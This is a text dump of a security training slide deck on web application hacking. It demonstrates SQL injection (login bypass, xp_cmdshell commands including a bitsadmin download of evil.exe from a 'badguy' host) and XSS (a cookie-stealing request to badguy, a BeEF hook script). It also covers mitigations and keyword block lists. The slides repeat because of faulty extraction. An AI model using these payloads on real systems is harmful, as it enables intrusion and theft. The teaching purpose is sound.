OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 19: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 20: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 21: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 22: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

